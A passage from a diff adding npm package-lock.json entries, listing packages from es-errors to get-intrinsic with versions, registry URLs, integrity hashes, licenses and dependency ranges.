"sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "optional": true, + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-toolkit": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.52.0.tgz", + "integrity": "sha512-XTNEJQh1tY1ZJVcf6ayP/2n4ZPyaHlW2FWs7xvw5ddPuhUVjLD3olQVQS7kf58JbAB48iL0uL/jerTrjtV3lDA==", + "license": "MIT", + "optional": true, + "workspaces": [ + "docs", + "benchmarks", + "tests/types", + "tests/browser-compat" + ] + }, + "node_modules/es6-promisify": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-7.0.0.tgz", + "integrity": "sha512-ginqzK3J90Rd4/Yz7qRrqUeIpe3TwSXTPPZtPne7tGBPeAaQiU8qt4fpKApnxHcq1AwtUdHVg5P77x/yrggG8Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/esbuild": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", + "integrity": "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.28.2", + "@esbuild/android-arm": "0.28.2", + "@esbuild/android-arm64": "0.28.2", + "@esbuild/android-x64": "0.28.2", + "@esbuild/darwin-arm64": "0.28.2", + "@esbuild/darwin-x64": "0.28.2", + "@esbuild/freebsd-arm64": "0.28.2", + "@esbuild/freebsd-x64": "0.28.2", + "@esbuild/linux-arm": "0.28.2", + "@esbuild/linux-arm64": "0.28.2", + "@esbuild/linux-ia32": "0.28.2", + "@esbuild/linux-loong64": "0.28.2", + "@esbuild/linux-mips64el": "0.28.2", + "@esbuild/linux-ppc64": "0.28.2", + "@esbuild/linux-riscv64": "0.28.2", + "@esbuild/linux-s390x": "0.28.2", + "@esbuild/linux-x64": "0.28.2", + "@esbuild/netbsd-arm64": "0.28.2", + "@esbuild/netbsd-x64": "0.28.2", + "@esbuild/openbsd-arm64": "0.28.2", + "@esbuild/openbsd-x64": "0.28.2", + "@esbuild/openharmony-arm64": "0.28.2", + "@esbuild/sunos-x64": "0.28.2", + "@esbuild/win32-arm64": "0.28.2", + "@esbuild/win32-ia32": "0.28.2", + "@esbuild/win32-x64": "0.28.2" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/escape-latex": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/escape-latex/-/escape-latex-1.2.0.tgz", + "integrity": "sha512-nV5aVWW1K0wEiUIEdZ4erkGGH8mDxGyxSeqPzRNtWP7ataw+/olFObw7hujFWlVjNsaDFw5VZ5NzVSIqRgfTiw==", + "license": "MIT" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "license": "BSD-2-Clause", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "license": "BSD-2-Clause", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "license": "MIT", + "optional": true + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/eventsource": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz", + "integrity": "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==", + "license": "MIT", + "optional": true, + "dependencies": { + "eventsource-parser": "^3.0.1" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/eventsource-parser": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-1.1.2.tgz", + "integrity": "sha512-v0eOBUbiaFojBu2s2NPBfYUoRR9GjcDNvCXVaqEf5vVfpIAh9f8RCo4vXTP8c63QRKCFwoLpMpTdPwwhEKVgzA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14.18" + } + }, + "node_modules/eventsource/node_modules/eventsource-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", + "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/execa": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-10.0.1.tgz", + "integrity": "sha512-ge98qjkRK4IB7tL7Ju/6qmm5LHoH1eEMt5FNZrz3f4UIYhF28lggX20z3FaX1sgc67msLEn0N0BscOs29iuwyw==", + "license": "MIT", + "dependencies": { + "@sindresorhus/merge-streams": "^4.0.0", + "figures": "^6.1.0", + "get-stream": "^9.0.1", + "human-signals": "^8.0.1", + "is-plain-obj": "^4.1.0", + "is-stream": "^4.0.1", + "npm-run-path": "^6.0.0", + "pretty-ms": "^9.3.0", + "signal-exit": "^4.1.0", + "strip-final-newline": "^4.0.0", + "which-command": "^0.1.0", + "yoctocolors": "^2.1.2" + }, + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/express": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", + "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.2.1", + "content-disposition": "^1.0.0", + "content-type": "^1.0.5", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.7", + "qs": "^6.14.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.0.1", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/express-rate-limit": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.7.0.tgz", + "integrity": "sha512-hOwV7WOxXfjRpAM1DSJWZDXx3GhplwD8IfwuwvogD8i1Qnkgosw/H45s4ZnFAUHDAhPjlY9hLBvJhKmGMyY26g==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^4.4.3", + "ip-address": "^10.2.0" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/express-rate-limit" + }, + "peerDependencies": { + "express": ">= 4.11" + } + }, + "node_modules/exsolve": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.1.1.tgz", + "integrity": "sha512-9U/jZUgjnSGyntRr6y5Muu1MJcwFl6kPu7k8qLF0IMNfLqvw0NZ4nnVDq0RVoZ0RvCyumib4Ez3KYrVfilrw+g==", + "license": "MIT" + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "license": "MIT" + }, + "node_modules/fast-safe-stringify": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", + "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", + "license": "MIT" + }, + "node_modules/fast-sha256": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", + "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", + "license": "Unlicense" + }, + "node_modules/fast-string-truncated-width": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/fast-string-truncated-width/-/fast-string-truncated-width-3.0.3.tgz", + "integrity": "sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g==", + "license": "MIT" + }, + "node_modules/fast-string-width": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/fast-string-width/-/fast-string-width-3.0.2.tgz", + "integrity": "sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==", + "license": "MIT", + "dependencies": { + "fast-string-truncated-width": "^3.0.2" + } + }, + "node_modules/fast-uri": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz", + "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fast-wrap-ansi": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/fast-wrap-ansi/-/fast-wrap-ansi-0.2.2.tgz", + "integrity": "sha512-7F2Fl+TjRSenLqlU3UjSH0iyqopqoZIu7eZVpEirP2g1GtWa2G/ecEmBdgz31+Mxr+ELclgg6sokpSFIQiZ02Q==", + "license": "MIT", + "dependencies": { + "fast-string-width": "^3.0.2" + } + }, + "node_modules/fast-xml-builder": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.3.1.tgz", + "integrity": "sha512-pIM/1n3ntFXKYrUZwW7QCK0gAW7XY+wzj1YMIV3tLDvPj/V+zTGJK5e3/4WJfwj0qWw2ElNXiTixda/R+3YSug==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "path-expression-matcher": "^1.6.2", + "xml-naming": "^0.3.0" + } + }, + "node_modules/fast-xml-parser": { + "version": "5.11.1", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.11.1.tgz", + "integrity": "sha512-TBw6K/fxoQGGjCmZDw9w/ZwP3uDcnTM4YH/g+PFRWr8sbe5idXtxNN6vITh4+1ruCZaho6uBFurElsA7F0zzgw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "@nodable/entities": "^3.0.0", + "fast-xml-builder": "^1.2.0", + "is-unsafe": "^2.0.0", + "path-expression-matcher": "^1.6.2", + "strnum": "^2.4.2", + "xml-naming": "^0.3.0" + }, + "bin": { + "fxparser": "src/cli/cli.js" + } + }, + "node_modules/fastest-levenshtein": { + "version": "1.0.16", + "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.16.tgz", + "integrity": "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==", + "license": "MIT", + "engines": { + "node": ">= 4.9.1" + } + }, + "node_modules/fecha": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/fecha/-/fecha-4.2.3.tgz", + "integrity": "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==", + "license": "MIT" + }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, + "node_modules/fflate": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.3.tgz", + "integrity": "sha512-tbZNuJrLwGUp3zshBtdy4W+ORxZuIh8a5ilyIEQDC5rY1f3U20JMry0Ll3WBzU58EZKsEuJFXhb5gwv8CsPvgA==", + "license": "MIT", + "optional": true + }, + "node_modules/figures": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-6.1.0.tgz", + "integrity": "sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==", + "license": "MIT", + "dependencies": { + "is-unicode-supported": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/file-type": { + "version": "21.3.4", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.4.tgz", + "integrity": "sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g==", + "license": "MIT", + "optional": true, + "dependencies": { + "@tokenizer/inflate": "^0.4.1", + "strtok3": "^10.3.4", + "token-types": "^6.1.1", + "uint8array-extras": "^1.4.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sindresorhus/file-type?sponsor=1" + } + }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/flatbuffers": { + "version": "25.9.23", + "resolved": "https://registry.npmjs.org/flatbuffers/-/flatbuffers-25.9.23.tgz", + "integrity": "sha512-MI1qs7Lo4Syw0EOzUl0xjs2lsoeqFku44KpngfIduHBYvzm8h2+7K8YMQh1JtVVVrUvhLpNwqVi4DERegUJhPQ==", + "license": "Apache-2.0", + "optional": true + }, + "node_modules/fn.name": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fn.name/-/fn.name-1.1.0.tgz", + "integrity": "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==", + "license": "MIT" + }, + "node_modules/follow-redirects": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "optional": true, + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/for-own": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz", + "integrity": "sha512-SKmowqGTJoPzLO1T0BBJpkfp3EMacCMOuH40hOUbrbzElVktk4DioXVM99QkLCyKoiuOmyjgcWMpVz2xjE7LZw==", + "license": "MIT", + "optional": true, + "dependencies": { + "for-in": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "license": "ISC", + "optional": true, + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/form-data/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/form-data/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "optional": true, + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "license": "MIT", + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "license": "ISC", + "optional": true + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gaxios": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.3.1.tgz", + "integrity": "sha512-kB3rzJV7d9juLZh8/56QTXCwQfxyhdOMdyYk1HdQKFtF8TJTDTZQJtixWIwXdE9Jji91mC41DUNpjleo4L4eAQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/gcp-metadata": { + "version": "9.0.4", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-9.0.4.tgz", + "integrity": "sha512-p6WvbXOhfwnVtv/MyPq5kBiVhfV/qglMIxwwTVNEI1Ha1HmOgz5uHYHtYO6SfGckFaXe8blA11IJJ3wqXmvmBA==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^7.1.3", + "google-logging-utils": "^2.0.0", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/get-east-asian-width": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.7.0.tgz", + "integrity": "sha512-XjH1AECxf0giL2V1aU8vKyRR2ppRUb5c0EvT7zuJTokQ74bNo52zOtghqdWIqrhUD79fo3x0WfKZdOqxF6LG1Q==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": 